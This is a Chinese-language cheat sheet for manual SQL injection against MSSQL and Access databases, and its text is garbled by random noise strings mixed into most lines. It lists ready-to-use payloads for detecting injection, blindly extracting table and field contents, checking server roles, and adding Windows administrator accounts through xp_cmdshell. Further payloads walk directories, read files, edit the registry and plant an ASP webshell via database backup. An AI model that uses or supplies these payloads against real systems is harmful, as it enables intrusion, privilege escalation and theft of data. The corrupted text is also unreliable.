手工脚本注入
& L3 w6 H7 G2 r5 F! t6 M5 Z1.判断是否有注入;and 1=1 ;and 1=2 + o4 p/ j# F" O# B9 \; i) N
; D3 o$ u) L! K1 _
2.初步判断是否是mssql ;and user>0 ( {5 H% z+ f9 h+ O* P/ c2 W
, s1 @; g9 K5 g0 F |
3.注入参数是字符'and [查询条件] and ''=' : U9 E/ X( |0 H8 E. |' P) R
; Z) ], |* \# G5 M0 L4.搜索时没过滤参数的'and [查询条件] and '%25'=' - o7 s' q4 I$ L, j, z" I# Q
$ @* J4 `+ o, W/ W1 ~
5.判断数据库系统
3 K0 w0 Y* S( r2 k;and (select count(*) from sysobjects)>0 mssql 4 n# l, R: d; D! d9 [( V: q
;and (select count(*) from msysobjects)>0 access
9 l5 [% z2 k# R- } p
3 l1 \% H1 F6 C d6.猜数据库 ;and (select Count(*) from [数据库名])>0 ; c) o6 d9 l4 i$ ~
" g" p* D- f7 r) ^& q% V5 Y* ^# n# j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 % Y) a7 o4 q; j& [0 V) p& E5 d
. f- j0 _& E4 z; S, d7 Z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 / X7 _9 J Z, F8 f# l3 p
' I5 k! A- r" U; |! B
9.(1)猜字段的ascii值(access)
& Y% l( B& @4 _" M4 K;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9 j' p, x) T4 H8 o) V
6 A. y" W; ^ z; W2 Q& R(2)猜字段的ascii值(mssql) 5 Y4 ~5 x3 l: s. r8 X
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 + @$ s: ?# T2 w0 {
7 ]; w% j) {0 Q) L9 Z, U# |9 k# M
10.测试权限结构(mssql) , `' }, j- e- \2 t7 f: ]: X$ U
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 }! j# x5 a# [% P& D
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . l; j {! `. B, u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 u7 D& a3 {, b6 Q7 Q/ s$ f;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4 V4 P7 o7 L( [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 Y! \, D5 f5 {, ?;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; I. q; S) s: G$ A5 X3 N6 \% D, \
;and 1=(select IS_MEMBER('db_owner'));--
5 A7 ?" E7 ^$ l" a4 Z; e6 j! Y! b8 A9 n. {3 h. n* A5 @" B
11.添加mssql和系统的帐户 0 p7 Z# j* ~: L* v. F3 w
;exec master.dbo.sp_addlogin username;--
+ \" `1 T5 Q5 h/ g2 N: c, a
2 Y% o! O. b% x* B0 a" `1 \3 N+ };exec master.dbo.sp_password null,username,password;--
" G1 j' I9 n, _9 H9 p
+ ^* U; R F7 L;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9 C' K% y" ?$ h& ?8 B# G( |5 V
2 x9 n O$ _7 M* i6 q% j8 t;exec master.dbo.xp_cmdshell 'net user username password
0 w1 T* l. z+ {# W/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
% z! t' T1 s( n$ Z, I% h- j* ^& G3 ]" n( p
;exec master.dbo.xp_cmdshell 'net user username password /add';--
0 C8 p4 w6 ~, _( q( \7 j- @, ]/ U1 K4 O Q- G, M* q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 F* I$ b. S3 V
6 Y+ V; x2 o1 u. s5 J12.(1)遍历目录 3 x5 J8 I# p" |* h1 G" v; L+ y4 x
8 m* U8 A0 B, z; {( {0 F2 D8 v- n;create table dirs(paths varchar(100), id int)
* T! {! C( e+ O0 D6 o% O# `4 W;insert dirs exec master.dbo.xp_dirtree 'c:\'
) p) n! M2 c2 R- ^: S+ O' L8 J;and (select top 1 paths from dirs)>0
, q X; I1 r% \, p;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. k1 p$ s+ r( H" b' c% L: {
4 _ s& n0 i. T9 z6 i7 L2 [7 o4 ?(2)遍历目录
7 A6 J2 b, e6 d;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
9 S$ n$ ]5 Q: v" y2 p& l;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 : A K T6 l0 z, S7 P7 r
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . ?+ K+ J* O6 e+ x+ T% Y6 H
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 2 ]( J8 o3 l. k
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 L# R* i: E6 |) Q: z0 e
6 l7 n! G* x1 r2 m+ a
13.mssql中的存储过程 ) q1 q' T6 p8 o3 H
, w0 q7 }# A6 A4 bxp_regenumvalues 注册表根键, 子键
( [; a$ D6 `5 H' h0 J9 Y) {" t;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 `1 M! q# R1 i9 ?) [/ s) I3 u0 q& C& ]4 D7 B$ k
xp_regread 根键,子键,键值名 . k) ?% Z0 V% M- T- G
;exec xp_regread
3 B, |0 Y! L- D* f; d1 H'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
; J+ ?# [( B+ l, K- j
6 N2 ?/ j8 M9 V, F* d/ q4 Lxp_regwrite 根键,子键, 值名, 值类型, 值
9 b5 E. o! t5 L4 M* ~' n/ ]值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 * O- F4 n+ V* V8 P6 n* x2 ~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) k6 ~3 N& D! Q, w' Q3 F
e' y8 R+ q0 x, W8 k3 x7 Mxp_regdeletevalue 根键,子键,值名
# s3 J& r0 ?+ P5 @
9 C C) A( G; y. a+ X' R# M+ aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 V, P5 s* V$ r" m& D3 D3 @4 {( N. g. E# u5 m
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 + e& n _8 y$ a2 U) h
* B' R$ k0 A; {4 u. P1 E, Q
14.mssql的backup创建webshell . ]5 B1 z1 f% {* R
use model
6 V# N7 o% l7 [+ O, C* m3 Ucreate table cmd(str image);
& T6 Y; l. L7 o+ n9 J, ninsert into cmd(str) values (''); 1 G) H( j& G, l0 ?
backup database model to disk='c:\l.asp';
! k0 M) s* a! w; m% H! o0 O$ u, `+ y+ x' g
15.mssql内置函数
# Z# k- J# g9 y2 U3 P: A- y;and (select @@version)>0 获得Windows的版本号 $ {$ {9 Q4 M3 O
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 W1 {3 `: s q" t. o" a' T$ u% Y;and (select user_name())>0 爆当前系统的连接用户
+ i3 k0 ~' [1 u; u;and (select db_name())>0 得到当前连接的数据库
# T, V/ Q" ]! J: R1 O7 ^
! y# G& d8 _- ?/ U( K16.简洁的webshell
, \7 v1 d! B3 V, i- ~" ]4 @& }1 ?3 t
use model ) j. w' y9 C+ w$ e; i
& R7 D: g# ^; S' W# Qcreate table cmd(str image);
7 {* k/ U( w9 P" z! n( N, N3 Q( _
insert into cmd(str) values ('');
8 Y( S9 c. p& c( n5 t% o/ X
5 o" F4 W2 I' s% F$ Vbackup database model to disk='g:\wwwtest\l.asp';
* r7 }3 _, w: j6 x5 J6 D
* D9 g! e, [; m; G' u8 c# B |